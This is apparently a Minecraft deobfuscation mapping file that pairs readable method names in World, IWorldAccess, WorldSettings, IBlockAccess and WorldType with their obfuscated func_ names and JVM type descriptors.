net/minecraft/world/World/func_72890_a (Lnet/minecraft/entity/Entity;D)Lnet/minecraft/entity/player/EntityPlayer; +MD: net/minecraft/world/World/createExplosion (Lnet/minecraft/entity/Entity;DDDFZ)Lnet/minecraft/world/Explosion; net/minecraft/world/World/func_72876_a (Lnet/minecraft/entity/Entity;DDDFZ)Lnet/minecraft/world/Explosion; +MD: net/minecraft/world/World/newExplosion (Lnet/minecraft/entity/Entity;DDDFZZ)Lnet/minecraft/world/Explosion; net/minecraft/world/World/func_72885_a (Lnet/minecraft/entity/Entity;DDDFZZ)Lnet/minecraft/world/Explosion; +MD: net/minecraft/world/World/getSkyColor (Lnet/minecraft/entity/Entity;F)Lnet/minecraft/util/Vec3; net/minecraft/world/World/func_72833_a (Lnet/minecraft/entity/Entity;F)Lnet/minecraft/util/Vec3; +MD: net/minecraft/world/World/getCollidingBoundingBoxes (Lnet/minecraft/entity/Entity;Lnet/minecraft/util/AxisAlignedBB;)Ljava/util/List; net/minecraft/world/World/func_72945_a (Lnet/minecraft/entity/Entity;Lnet/minecraft/util/AxisAlignedBB;)Ljava/util/List; +MD: net/minecraft/world/World/getEntitiesInAABBexcluding (Lnet/minecraft/entity/Entity;Lnet/minecraft/util/AxisAlignedBB;Lcom/google/common/base/Predicate;)Ljava/util/List; net/minecraft/world/World/func_175674_a (Lnet/minecraft/entity/Entity;Lnet/minecraft/util/AxisAlignedBB;Lcom/google/common/base/Predicate;)Ljava/util/List; +MD: net/minecraft/world/World/playSoundAtEntity (Lnet/minecraft/entity/Entity;Ljava/lang/String;FF)V net/minecraft/world/World/func_72956_a (Lnet/minecraft/entity/Entity;Ljava/lang/String;FF)V +MD: net/minecraft/world/World/updateEntityWithOptionalForce (Lnet/minecraft/entity/Entity;Z)V net/minecraft/world/World/func_72866_a (Lnet/minecraft/entity/Entity;Z)V +MD: net/minecraft/world/World/playAuxSFXAtEntity (Lnet/minecraft/entity/player/EntityPlayer;ILnet/minecraft/util/BlockPos;I)V net/minecraft/world/World/func_180498_a (Lnet/minecraft/entity/player/EntityPlayer;ILnet/minecraft/util/BlockPos;I)V +MD: net/minecraft/world/World/isBlockModifiable (Lnet/minecraft/entity/player/EntityPlayer;Lnet/minecraft/util/BlockPos;)Z net/minecraft/world/World/func_175660_a (Lnet/minecraft/entity/player/EntityPlayer;Lnet/minecraft/util/BlockPos;)Z +MD: net/minecraft/world/World/extinguishFire (Lnet/minecraft/entity/player/EntityPlayer;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;)Z net/minecraft/world/World/func_175719_a (Lnet/minecraft/entity/player/EntityPlayer;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;)Z +MD: net/minecraft/world/World/playSoundToNearExcept (Lnet/minecraft/entity/player/EntityPlayer;Ljava/lang/String;FF)V net/minecraft/world/World/func_85173_a (Lnet/minecraft/entity/player/EntityPlayer;Ljava/lang/String;FF)V +MD: net/minecraft/world/World/tickUpdates (Z)Z net/minecraft/world/World/func_72955_a (Z)Z +MD: net/minecraft/world/World/setAllowedSpawnTypes (ZZ)V net/minecraft/world/World/func_72891_a (ZZ)V +MD: net/minecraft/world/World/getDifficulty ()Lnet/minecraft/world/EnumDifficulty; net/minecraft/world/World/func_175659_aa ()Lnet/minecraft/world/EnumDifficulty; +MD: net/minecraft/world/World/getSkylightSubtracted ()I net/minecraft/world/World/func_175657_ab ()I +MD: net/minecraft/world/World/getLastLightningBolt ()I net/minecraft/world/World/func_175658_ac ()I +MD: net/minecraft/world/World/isFindingSpawnPoint ()Z net/minecraft/world/World/func_175686_ad ()Z +MD: net/minecraft/world/World/getVillageCollection ()Lnet/minecraft/village/VillageCollection; net/minecraft/world/World/func_175714_ae ()Lnet/minecraft/village/VillageCollection; +MD: net/minecraft/world/World/getWorldBorder ()Lnet/minecraft/world/border/WorldBorder; net/minecraft/world/World/func_175723_af ()Lnet/minecraft/world/border/WorldBorder; +MD: net/minecraft/world/World/init ()Lnet/minecraft/world/World; net/minecraft/world/World/func_175643_b ()Lnet/minecraft/world/World; +MD: net/minecraft/world/World/isAnyPlayerWithinRangeAt (DDDD)Z net/minecraft/world/World/func_175636_b (DDDD)Z +MD: net/minecraft/world/World/getSunBrightness (F)F net/minecraft/world/World/func_72971_b (F)F +MD: net/minecraft/world/World/setSeaLevel (I)V net/minecraft/world/World/func_181544_b (I)V +MD: net/minecraft/world/World/getChunksLowestHorizon (II)I net/minecraft/world/World/func_82734_g (II)I +MD: net/minecraft/world/World/markBlockRangeForRenderUpdate (IIIIII)V net/minecraft/world/World/func_147458_c (IIIIII)V +MD: net/minecraft/world/World/playAuxSFX (ILnet/minecraft/util/BlockPos;I)V net/minecraft/world/World/func_175718_b (ILnet/minecraft/util/BlockPos;I)V +MD: net/minecraft/world/World/setWorldTime (J)V net/minecraft/world/World/func_72877_b (J)V +MD: net/minecraft/world/World/removeWorldAccess (Lnet/minecraft/world/IWorldAccess;)V net/minecraft/world/World/func_72848_b (Lnet/minecraft/world/IWorldAccess;)V +MD: net/minecraft/world/World/getLightFor (Lnet/minecraft/world/EnumSkyBlock;Lnet/minecraft/util/BlockPos;)I net/minecraft/world/World/func_175642_b (Lnet/minecraft/world/EnumSkyBlock;Lnet/minecraft/util/BlockPos;)I +MD: net/minecraft/world/World/markTileEntityForRemoval (Lnet/minecraft/tileentity/TileEntity;)V net/minecraft/world/World/func_147457_a (Lnet/minecraft/tileentity/TileEntity;)V +MD: net/minecraft/world/World/isAreaLoaded (Lnet/minecraft/world/gen/structure/StructureBoundingBox;Z)Z net/minecraft/world/World/func_175639_b (Lnet/minecraft/world/gen/structure/StructureBoundingBox;Z)Z +MD: net/minecraft/world/World/checkNoEntityCollision (Lnet/minecraft/util/AxisAlignedBB;)Z net/minecraft/world/World/func_72855_b (Lnet/minecraft/util/AxisAlignedBB;)Z +MD: net/minecraft/world/World/isAABBInMaterial (Lnet/minecraft/util/AxisAlignedBB;Lnet/minecraft/block/material/Material;)Z net/minecraft/world/World/func_72830_b (Lnet/minecraft/util/AxisAlignedBB;Lnet/minecraft/block/material/Material;)Z +MD: net/minecraft/world/World/getBiomeGenForCoords (Lnet/minecraft/util/BlockPos;)Lnet/minecraft/world/biome/BiomeGenBase; net/minecraft/world/World/func_180494_b (Lnet/minecraft/util/BlockPos;)Lnet/minecraft/world/biome/BiomeGenBase; +MD: net/minecraft/world/World/getCombinedLight (Lnet/minecraft/util/BlockPos;I)I net/minecraft/world/World/func_175626_b (Lnet/minecraft/util/BlockPos;I)I +MD: net/minecraft/world/World/notifyNeighborsRespectDebug (Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/Block;)V net/minecraft/world/World/func_175722_b (Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/Block;)V +MD: net/minecraft/world/World/scheduleBlockUpdate (Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/Block;II)V net/minecraft/world/World/func_180497_b (Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/Block;II)V +MD: net/minecraft/world/World/markChunkDirty (Lnet/minecraft/util/BlockPos;Lnet/minecraft/tileentity/TileEntity;)V net/minecraft/world/World/func_175646_b (Lnet/minecraft/util/BlockPos;Lnet/minecraft/tileentity/TileEntity;)V +MD: net/minecraft/world/World/markBlockRangeForRenderUpdate (Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/BlockPos;)V net/minecraft/world/World/func_175704_b (Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/BlockPos;)V +MD: net/minecraft/world/World/isSidePowered (Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;)Z net/minecraft/world/World/func_175709_b (Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;)Z +MD: net/minecraft/world/World/destroyBlock (Lnet/minecraft/util/BlockPos;Z)Z net/minecraft/world/World/func_175655_b (Lnet/minecraft/util/BlockPos;Z)Z +MD: net/minecraft/world/World/getPlayers (Ljava/lang/Class;Lcom/google/common/base/Predicate;)Ljava/util/List; net/minecraft/world/World/func_175661_b (Ljava/lang/Class;Lcom/google/common/base/Predicate;)Ljava/util/List; +MD: net/minecraft/world/World/getUniqueDataId (Ljava/lang/String;)I net/minecraft/world/World/func_72841_b (Ljava/lang/String;)I +MD: net/minecraft/world/World/loadEntities (Ljava/util/Collection;)V net/minecraft/world/World/func_175650_b (Ljava/util/Collection;)V +MD: net/minecraft/world/World/getPlayerEntityByUUID (Ljava/util/UUID;)Lnet/minecraft/entity/player/EntityPlayer; net/minecraft/world/World/func_152378_a (Ljava/util/UUID;)Lnet/minecraft/entity/player/EntityPlayer; +MD: net/minecraft/world/World/onEntityRemoved (Lnet/minecraft/entity/Entity;)V net/minecraft/world/World/func_72847_b (Lnet/minecraft/entity/Entity;)V +MD: net/minecraft/world/World/getEntitiesWithinAABBExcludingEntity (Lnet/minecraft/entity/Entity;Lnet/minecraft/util/AxisAlignedBB;)Ljava/util/List; net/minecraft/world/World/func_72839_b (Lnet/minecraft/entity/Entity;Lnet/minecraft/util/AxisAlignedBB;)Ljava/util/List; +MD: net/minecraft/world/World/tick ()V net/minecraft/world/World/func_72835_b ()V +MD: net/minecraft/world/World/getCelestialAngle (F)F net/minecraft/world/World/func_72826_c (F)F +MD: net/minecraft/world/World/setSkylightSubtracted (I)V net/minecraft/world/World/func_175692_b (I)V +MD: net/minecraft/world/World/isSpawnChunk (II)Z net/minecraft/world/World/func_72916_c (II)Z +MD: net/minecraft/world/World/sendBlockBreakProgress (ILnet/minecraft/util/BlockPos;I)V net/minecraft/world/World/func_175715_c (ILnet/minecraft/util/BlockPos;I)V +MD: net/minecraft/world/World/checkLightFor (Lnet/minecraft/world/EnumSkyBlock;Lnet/minecraft/util/BlockPos;)Z net/minecraft/world/World/func_180500_c (Lnet/minecraft/world/EnumSkyBlock;Lnet/minecraft/util/BlockPos;)Z +MD: net/minecraft/world/World/checkBlockCollision (Lnet/minecraft/util/AxisAlignedBB;)Z net/minecraft/world/World/func_72829_c (Lnet/minecraft/util/AxisAlignedBB;)Z +MD: net/minecraft/world/World/getGroundAboveSeaLevel (Lnet/minecraft/util/BlockPos;)Lnet/minecraft/block/Block; net/minecraft/world/World/func_175703_c (Lnet/minecraft/util/BlockPos;)Lnet/minecraft/block/Block; +MD: net/minecraft/world/World/notifyNeighborsOfStateChange (Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/Block;)V net/minecraft/world/World/func_175685_c (Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/Block;)V +MD: net/minecraft/world/World/addBlockEvent (Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/Block;II)V net/minecraft/world/World/func_175641_c (Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/Block;II)V +MD: net/minecraft/world/World/getRedstonePower (Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;)I net/minecraft/world/World/func_175651_c (Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;)I +MD: net/minecraft/world/World/getLight (Lnet/minecraft/util/BlockPos;Z)I net/minecraft/world/World/func_175721_c (Lnet/minecraft/util/BlockPos;Z)I +MD: net/minecraft/world/World/unloadEntities (Ljava/util/Collection;)V net/minecraft/world/World/func_175681_c (Ljava/util/Collection;)V +MD: net/minecraft/world/World/addWeatherEffect (Lnet/minecraft/entity/Entity;)Z net/minecraft/world/World/func_72942_c (Lnet/minecraft/entity/Entity;)Z +MD: net/minecraft/world/World/updateAllPlayersSleepingFlag ()V net/minecraft/world/World/func_72854_c ()V +MD: net/minecraft/world/World/getCelestialAngleRadians (F)F net/minecraft/world/World/func_72929_e (F)F +MD: net/minecraft/world/World/setLastLightningBolt (I)V net/minecraft/world/World/func_175702_c (I)V +MD: net/minecraft/world/World/isAnyLiquid (Lnet/minecraft/util/AxisAlignedBB;)Z net/minecraft/world/World/func_72953_d (Lnet/minecraft/util/AxisAlignedBB;)Z +MD: net/minecraft/world/World/isAirBlock (Lnet/minecraft/util/BlockPos;)Z net/minecraft/world/World/func_175623_d (Lnet/minecraft/util/BlockPos;)Z +MD: net/minecraft/world/World/notifyBlockOfStateChange (Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/Block;)V net/minecraft/world/World/func_180496_d (Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/Block;)V +MD: net/minecraft/world/World/isBlockNormalCube (Lnet/minecraft/util/BlockPos;Z)Z net/minecraft/world/World/func_175677_d (Lnet/minecraft/util/BlockPos;Z)Z +MD: net/minecraft/world/World/spawnEntityInWorld (Lnet/minecraft/entity/Entity;)Z net/minecraft/world/World/func_72838_d (Lnet/minecraft/entity/Entity;)Z +MD: net/minecraft/world/World/getCloudColour (F)Lnet/minecraft/util/Vec3; net/minecraft/world/World/func_72824_f (F)Lnet/minecraft/util/Vec3; +MD: net/minecraft/world/World/isFlammableWithin (Lnet/minecraft/util/AxisAlignedBB;)Z net/minecraft/world/World/func_147470_e (Lnet/minecraft/util/AxisAlignedBB;)Z +MD: net/minecraft/world/World/isBlockLoaded (Lnet/minecraft/util/BlockPos;)Z net/minecraft/world/World/func_175667_e (Lnet/minecraft/util/BlockPos;)Z +MD: net/minecraft/world/World/updateComparatorOutputLevel (Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/Block;)V net/minecraft/world/World/func_175666_e (Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/Block;)V +MD: net/minecraft/world/World/canBlockFreeze (Lnet/minecraft/util/BlockPos;Z)Z net/minecraft/world/World/func_175670_e (Lnet/minecraft/util/BlockPos;Z)Z +MD: net/minecraft/world/World/removeEntity (Lnet/minecraft/entity/Entity;)V net/minecraft/world/World/func_72900_e (Lnet/minecraft/entity/Entity;)V +MD: net/minecraft/world/World/getFogColor (F)Lnet/minecraft/util/Vec3; net/minecraft/world/World/func_72948_g (F)Lnet/minecraft/util/Vec3; +MD: net/minecraft/world/World/getChunkFromBlockCoords (Lnet/minecraft/util/BlockPos;)Lnet/minecraft/world/chunk/Chunk; net/minecraft/world/World/func_175726_f (Lnet/minecraft/util/BlockPos;)Lnet/minecraft/world/chunk/Chunk; +MD: net/minecraft/world/World/canSnowAt (Lnet/minecraft/util/BlockPos;Z)Z net/minecraft/world/World/func_175708_f (Lnet/minecraft/util/BlockPos;Z)Z +MD: net/minecraft/world/World/removePlayerEntityDangerously (Lnet/minecraft/entity/Entity;)V net/minecraft/world/World/func_72973_f (Lnet/minecraft/entity/Entity;)V +MD: net/minecraft/world/World/setInitialSpawnLocation ()V net/minecraft/world/World/func_72974_f ()V +MD: net/minecraft/world/World/getStarBrightness (F)F net/minecraft/world/World/func_72880_h (F)F +MD: net/minecraft/world/World/setBlockToAir (Lnet/minecraft/util/BlockPos;)Z net/minecraft/world/World/func_175698_g (Lnet/minecraft/util/BlockPos;)Z +MD: net/minecraft/world/World/updateEntity (Lnet/minecraft/entity/Entity;)V net/minecraft/world/World/func_72870_g (Lnet/minecraft/entity/Entity;)V +MD: net/minecraft/world/World/updateBlocks ()V net/minecraft/world/World/func_147456_g ()V +MD: net/minecraft/world/World/getThunderStrength (F)F net/minecraft/world/World/func_72819_i (F)F +MD: net/minecraft/world/World/markBlockForUpdate (Lnet/minecraft/util/BlockPos;)V net/minecraft/world/World/func_175689_h (Lnet/minecraft/util/BlockPos;)V +MD: net/minecraft/world/World/joinEntityInSurroundings (Lnet/minecraft/entity/Entity;)V net/minecraft/world/World/func_72897_h (Lnet/minecraft/entity/Entity;)V +MD: net/minecraft/world/World/updateEntities ()V net/minecraft/world/World/func_72939_s ()V +MD: net/minecraft/world/World/setThunderStrength (F)V net/minecraft/world/World/func_147442_i (F)V +MD: net/minecraft/world/World/canSeeSky (Lnet/minecraft/util/BlockPos;)Z net/minecraft/world/World/func_175678_i (Lnet/minecraft/util/BlockPos;)Z +MD: net/minecraft/world/World/getRainStrength (F)F net/minecraft/world/World/func_72867_j (F)F +MD: net/minecraft/world/World/canBlockSeeSky (Lnet/minecraft/util/BlockPos;)Z net/minecraft/world/World/func_175710_j (Lnet/minecraft/util/BlockPos;)Z +MD: net/minecraft/world/World/createChunkProvider ()Lnet/minecraft/world/chunk/IChunkProvider; net/minecraft/world/World/func_72970_h ()Lnet/minecraft/world/chunk/IChunkProvider; +MD: net/minecraft/world/World/setRainStrength (F)V net/minecraft/world/World/func_72894_k (F)V +MD: net/minecraft/world/World/getLight (Lnet/minecraft/util/BlockPos;)I net/minecraft/world/World/func_175699_k (Lnet/minecraft/util/BlockPos;)I +MD: net/minecraft/world/World/getLightFromNeighbors (Lnet/minecraft/util/BlockPos;)I net/minecraft/world/World/func_175671_l (Lnet/minecraft/util/BlockPos;)I +MD: net/minecraft/world/World/getHeight (Lnet/minecraft/util/BlockPos;)Lnet/minecraft/util/BlockPos; net/minecraft/world/World/func_175645_m (Lnet/minecraft/util/BlockPos;)Lnet/minecraft/util/BlockPos; +MD: net/minecraft/world/World/notifyLightSet (Lnet/minecraft/util/BlockPos;)V net/minecraft/world/World/func_175679_n (Lnet/minecraft/util/BlockPos;)V +MD: net/minecraft/world/World/getLightBrightness (Lnet/minecraft/util/BlockPos;)F net/minecraft/world/World/func_175724_o (Lnet/minecraft/util/BlockPos;)F +MD: net/minecraft/world/World/updateWeather ()V net/minecraft/world/World/func_72979_l ()V +MD: net/minecraft/world/World/getBlockState (Lnet/minecraft/util/BlockPos;)Lnet/minecraft/block/state/IBlockState; net/minecraft/world/World/func_180495_p (Lnet/minecraft/util/BlockPos;)Lnet/minecraft/block/state/IBlockState; +MD: net/minecraft/world/World/getRenderDistanceChunks ()I net/minecraft/world/World/func_152379_p ()I +MD: net/minecraft/world/World/getPrecipitationHeight (Lnet/minecraft/util/BlockPos;)Lnet/minecraft/util/BlockPos; net/minecraft/world/World/func_175725_q (Lnet/minecraft/util/BlockPos;)Lnet/minecraft/util/BlockPos; +MD: net/minecraft/world/World/getTopSolidOrLiquidBlock (Lnet/minecraft/util/BlockPos;)Lnet/minecraft/util/BlockPos; net/minecraft/world/World/func_175672_r (Lnet/minecraft/util/BlockPos;)Lnet/minecraft/util/BlockPos; +MD: net/minecraft/world/World/getTileEntity (Lnet/minecraft/util/BlockPos;)Lnet/minecraft/tileentity/TileEntity; net/minecraft/world/World/func_175625_s (Lnet/minecraft/util/BlockPos;)Lnet/minecraft/tileentity/TileEntity; +MD: net/minecraft/world/World/removeTileEntity (Lnet/minecraft/util/BlockPos;)V net/minecraft/world/World/func_175713_t (Lnet/minecraft/util/BlockPos;)V +MD: net/minecraft/world/World/isBlockFullCube (Lnet/minecraft/util/BlockPos;)Z net/minecraft/world/World/func_175665_u (Lnet/minecraft/util/BlockPos;)Z +MD: net/minecraft/world/World/getWorldChunkManager ()Lnet/minecraft/world/biome/WorldChunkManager; net/minecraft/world/World/func_72959_q ()Lnet/minecraft/world/biome/WorldChunkManager; +MD: net/minecraft/world/World/canBlockFreezeWater (Lnet/minecraft/util/BlockPos;)Z net/minecraft/world/World/func_175675_v (Lnet/minecraft/util/BlockPos;)Z +MD: net/minecraft/world/World/isDaytime ()Z net/minecraft/world/World/func_72935_r ()Z +MD: net/minecraft/world/World/canBlockFreezeNoWater (Lnet/minecraft/util/BlockPos;)Z net/minecraft/world/World/func_175662_w (Lnet/minecraft/util/BlockPos;)Z +MD: net/minecraft/world/World/getMoonPhase ()I net/minecraft/world/World/func_72853_d ()I +MD: net/minecraft/world/World/checkLight (Lnet/minecraft/util/BlockPos;)Z net/minecraft/world/World/func_175664_x (Lnet/minecraft/util/BlockPos;)Z +MD: net/minecraft/world/World/getCurrentMoonPhaseFactor ()F net/minecraft/world/World/func_130001_d ()F +MD: net/minecraft/world/World/getStrongPower (Lnet/minecraft/util/BlockPos;)I net/minecraft/world/World/func_175676_y (Lnet/minecraft/util/BlockPos;)I +MD: net/minecraft/world/World/getDebugLoadedEntities ()Ljava/lang/String; net/minecraft/world/World/func_72981_t ()Ljava/lang/String; +MD: net/minecraft/world/World/isBlockPowered (Lnet/minecraft/util/BlockPos;)Z net/minecraft/world/World/func_175640_z (Lnet/minecraft/util/BlockPos;)Z +MD: net/minecraft/world/IWorldAccess/markBlockRangeForRenderUpdate (IIIIII)V net/minecraft/world/IWorldAccess/func_147585_a (IIIIII)V +MD: net/minecraft/world/IWorldAccess/broadcastSound (ILnet/minecraft/util/BlockPos;I)V net/minecraft/world/IWorldAccess/func_180440_a (ILnet/minecraft/util/BlockPos;I)V +MD: net/minecraft/world/IWorldAccess/spawnParticle (IZDDDDDD[I)V net/minecraft/world/IWorldAccess/func_180442_a (IZDDDDDD[I)V +MD: net/minecraft/world/IWorldAccess/markBlockForUpdate (Lnet/minecraft/util/BlockPos;)V net/minecraft/world/IWorldAccess/func_174960_a (Lnet/minecraft/util/BlockPos;)V +MD: net/minecraft/world/IWorldAccess/playSound (Ljava/lang/String;DDDFF)V net/minecraft/world/IWorldAccess/func_72704_a (Ljava/lang/String;DDDFF)V +MD: net/minecraft/world/IWorldAccess/playRecord (Ljava/lang/String;Lnet/minecraft/util/BlockPos;)V net/minecraft/world/IWorldAccess/func_174961_a (Ljava/lang/String;Lnet/minecraft/util/BlockPos;)V +MD: net/minecraft/world/IWorldAccess/onEntityAdded (Lnet/minecraft/entity/Entity;)V net/minecraft/world/IWorldAccess/func_72703_a (Lnet/minecraft/entity/Entity;)V +MD: net/minecraft/world/IWorldAccess/playAuxSFX (Lnet/minecraft/entity/player/EntityPlayer;ILnet/minecraft/util/BlockPos;I)V net/minecraft/world/IWorldAccess/func_180439_a (Lnet/minecraft/entity/player/EntityPlayer;ILnet/minecraft/util/BlockPos;I)V +MD: net/minecraft/world/IWorldAccess/playSoundToNearExcept (Lnet/minecraft/entity/player/EntityPlayer;Ljava/lang/String;DDDFF)V net/minecraft/world/IWorldAccess/func_85102_a (Lnet/minecraft/entity/player/EntityPlayer;Ljava/lang/String;DDDFF)V +MD: net/minecraft/world/IWorldAccess/sendBlockBreakProgress (ILnet/minecraft/util/BlockPos;I)V net/minecraft/world/IWorldAccess/func_180441_b (ILnet/minecraft/util/BlockPos;I)V +MD: net/minecraft/world/IWorldAccess/notifyLightSet (Lnet/minecraft/util/BlockPos;)V net/minecraft/world/IWorldAccess/func_174959_b (Lnet/minecraft/util/BlockPos;)V +MD: net/minecraft/world/IWorldAccess/onEntityRemoved (Lnet/minecraft/entity/Entity;)V net/minecraft/world/IWorldAccess/func_72709_b (Lnet/minecraft/entity/Entity;)V +MD: net/minecraft/world/WorldSettings$GameType/getID ()I net/minecraft/world/WorldSettings$GameType/func_77148_a ()I +MD: net/minecraft/world/WorldSettings$GameType/getByID (I)Lnet/minecraft/world/WorldSettings$GameType; net/minecraft/world/WorldSettings$GameType/func_77146_a (I)Lnet/minecraft/world/WorldSettings$GameType; +MD: net/minecraft/world/WorldSettings$GameType/getByName (Ljava/lang/String;)Lnet/minecraft/world/WorldSettings$GameType; net/minecraft/world/WorldSettings$GameType/func_77142_a (Ljava/lang/String;)Lnet/minecraft/world/WorldSettings$GameType; +MD: net/minecraft/world/WorldSettings$GameType/configurePlayerCapabilities (Lnet/minecraft/entity/player/PlayerCapabilities;)V net/minecraft/world/WorldSettings$GameType/func_77147_a (Lnet/minecraft/entity/player/PlayerCapabilities;)V +MD: net/minecraft/world/WorldSettings$GameType/getName ()Ljava/lang/String; net/minecraft/world/WorldSettings$GameType/func_77149_b ()Ljava/lang/String; +MD: net/minecraft/world/WorldSettings$GameType/isAdventure ()Z net/minecraft/world/WorldSettings$GameType/func_82752_c ()Z +MD: net/minecraft/world/WorldSettings$GameType/isCreative ()Z net/minecraft/world/WorldSettings$GameType/func_77145_d ()Z +MD: net/minecraft/world/WorldSettings$GameType/isSurvivalOrAdventure ()Z net/minecraft/world/WorldSettings$GameType/func_77144_e ()Z +MD: net/minecraft/world/WorldSettings$GameType/values ()[Lnet/minecraft/world/WorldSettings$GameType; net/minecraft/world/WorldSettings$GameType/values ()[Lnet/minecraft/world/WorldSettings$GameType; +MD: net/minecraft/world/WorldSettings/enableBonusChest ()Lnet/minecraft/world/WorldSettings; net/minecraft/world/WorldSettings/func_77159_a ()Lnet/minecraft/world/WorldSettings; +MD: net/minecraft/world/WorldSettings/getGameTypeById (I)Lnet/minecraft/world/WorldSettings$GameType; net/minecraft/world/WorldSettings/func_77161_a (I)Lnet/minecraft/world/WorldSettings$GameType; +MD: net/minecraft/world/WorldSettings/setWorldName (Ljava/lang/String;)Lnet/minecraft/world/WorldSettings; net/minecraft/world/WorldSettings/func_82750_a (Ljava/lang/String;)Lnet/minecraft/world/WorldSettings; +MD: net/minecraft/world/WorldSettings/enableCommands ()Lnet/minecraft/world/WorldSettings; net/minecraft/world/WorldSettings/func_77166_b ()Lnet/minecraft/world/WorldSettings; +MD: net/minecraft/world/WorldSettings/isBonusChestEnabled ()Z net/minecraft/world/WorldSettings/func_77167_c ()Z +MD: net/minecraft/world/WorldSettings/getSeed ()J net/minecraft/world/WorldSettings/func_77160_d ()J +MD: net/minecraft/world/WorldSettings/getGameType ()Lnet/minecraft/world/WorldSettings$GameType; net/minecraft/world/WorldSettings/func_77162_e ()Lnet/minecraft/world/WorldSettings$GameType; +MD: net/minecraft/world/WorldSettings/getHardcoreEnabled ()Z net/minecraft/world/WorldSettings/func_77158_f ()Z +MD: net/minecraft/world/WorldSettings/isMapFeaturesEnabled ()Z net/minecraft/world/WorldSettings/func_77164_g ()Z +MD: net/minecraft/world/WorldSettings/getTerrainType ()Lnet/minecraft/world/WorldType; net/minecraft/world/WorldSettings/func_77165_h ()Lnet/minecraft/world/WorldType; +MD: net/minecraft/world/WorldSettings/areCommandsAllowed ()Z net/minecraft/world/WorldSettings/func_77163_i ()Z +MD: net/minecraft/world/WorldSettings/getWorldName ()Ljava/lang/String; net/minecraft/world/WorldSettings/func_82749_j ()Ljava/lang/String; +MD: net/minecraft/world/IBlockAccess/getWorldType ()Lnet/minecraft/world/WorldType; net/minecraft/world/IBlockAccess/func_175624_G ()Lnet/minecraft/world/WorldType; +MD: net/minecraft/world/IBlockAccess/extendedLevelsInChunkCache ()Z net/minecraft/world/IBlockAccess/func_72806_N ()Z +MD: net/minecraft/world/IBlockAccess/getStrongPower (Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;)I net/minecraft/world/IBlockAccess/func_175627_a (Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;)I +MD: net/minecraft/world/IBlockAccess/getBiomeGenForCoords (Lnet/minecraft/util/BlockPos;)Lnet/minecraft/world/biome/BiomeGenBase; net/minecraft/world/IBlockAccess/func_180494_b (Lnet/minecraft/util/BlockPos;)Lnet/minecraft/world/biome/BiomeGenBase; +MD: net/minecraft/world/IBlockAccess/getCombinedLight (Lnet/minecraft/util/BlockPos;I)I net/minecraft/world/IBlockAccess/func_175626_b (Lnet/minecraft/util/BlockPos;I)I +MD: net/minecraft/world/IBlockAccess/isAirBlock (Lnet/minecraft/util/BlockPos;)Z net/minecraft/world/IBlockAccess/func_175623_d (Lnet/minecraft/util/BlockPos;)Z +MD: net/minecraft/world/IBlockAccess/getBlockState (Lnet/minecraft/util/BlockPos;)Lnet/minecraft/block/state/IBlockState; net/minecraft/world/IBlockAccess/func_180495_p (Lnet/minecraft/util/BlockPos;)Lnet/minecraft/block/state/IBlockState; +MD: net/minecraft/world/IBlockAccess/getTileEntity (Lnet/minecraft/util/BlockPos;)Lnet/minecraft/tileentity/TileEntity; net/minecraft/world/IBlockAccess/func_175625_s (Lnet/minecraft/util/BlockPos;)Lnet/minecraft/tileentity/TileEntity; +MD: net/minecraft/world/WorldType/getWorldTypeName ()Ljava/lang/String; net/minecraft/world/WorldType/func_77127_a ()Ljava/lang/String; +MD: net/minecraft/world/WorldType/getWorldTypeForGeneratorVersion (I)Lnet/minecraft/world/WorldType; net/minecraft/world/WorldType/func_77132_a (I)Lnet/minecraft/world/WorldType; +MD: net/minecraft/world/WorldType/parseWorldType (Ljava/lang/String;)Lnet/minecraft/world/WorldType; net/minecraft/world/WorldType/func_77130_a (Ljava/lang/String;)Lnet/minecraft/world/WorldType; +MD: net/minecraft/world/WorldType/setCanBeCreated (Z)Lnet/minecraft/world/WorldType; net/minecraft/world/WorldType/func_77124_a (Z)Lnet/minecraft/world/WorldType; +MD: net/minecraft/world/WorldType/getTranslateName ()Ljava/lang/String; net/minecraft/world/WorldType/func_77128_b ()Ljava/lang/String; +MD: net/minecraft/world/WorldType/getTranslatedInfo ()Ljava/lang/String; net/minecraft/world/WorldType/func_151359_c ()Ljava/lang/String; +MD: net/minecraft/world/WorldType/getGeneratorVersion ()I net/minecraft/world/WorldType/func_77131_c ()I +MD: net/minecraft/world/WorldType/getCanBeCreated ()Z net/minecraft/world/WorldType/func_77126_d ()Z +MD: net/minecraft/world/WorldType/isVersioned ()Z net/minecraft/world/WorldType/func_77125_e ()Z +MD: net/minecraft/world/WorldType/getWorldTypeID ()I net/minecraft/world/WorldType/func_82747_f ()I +MD: net/minecraft/world/WorldType/showWorldInfoNotice ()Z net/minecraft/world/WorldType/func_151357_h ()Z +MD: net/minecraft/world/WorldType/setVersioned ()Lnet/minecraft/world/WorldType; net/minecraft/world/WorldType/func_77129_f ()Lnet/minecraft/world/WorldType; +MD: net/minecraft/world/WorldType/setNotificationData ()Lnet/minecraft/world/WorldType; net/minecraft/world/WorldType/func_151358_j ()Lnet/minecraft/world/WorldType; +MD: net/minecraft/world/EnumSkyBlock/valueOf (Ljava/lang/String;)Lnet/minecraft/world/EnumSkyBlock; net/minecraft/world/EnumSkyBlock/valueOf (Ljava/lang/String;)Lnet/minecraft/world/EnumSkyBlock; +MD: net/minecraft/world/EnumSkyBlock/values ()[Lnet/minecraft/world/EnumSkyBlock; 